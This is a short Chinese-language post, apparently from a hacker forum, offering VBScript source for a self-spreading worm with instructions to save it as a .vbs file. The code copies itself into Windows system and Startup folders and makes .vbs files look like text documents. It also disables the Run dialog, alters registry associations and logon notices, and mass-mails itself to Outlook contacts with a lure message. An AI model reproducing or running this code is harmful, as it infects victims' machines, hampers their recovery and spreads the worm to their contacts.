欢迎使用此代码在txt文本输入以下代码后更改为vbs非常好用,中国寒龙病毒联盟出品-by寒龙
On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject("Scripting.FileSystemObject") dim r Set r=CreateObject("Wscript.Shell") r.Regwrite "HKLM\Software\classes\vbsfile\defaulticon\","shell32.dll,-152" r.Regwrite "HKLM\Software\classes\vbsfile\","文本文档" so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs") r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD" r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile" r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","警告" r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","这是一个病毒" Set ol=CreateObject("Outlook.Application") On Error Resume Next For x=1 To 50 Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="这是一个病毒" Mail.Body="打开文件,让你爽到极点!我是寒龙很高兴见到你!!" Mail.Attachments.Add(dir2&"Win32system.vbs") Mail.Send Next ol.Quit
爱跳的骇客云平台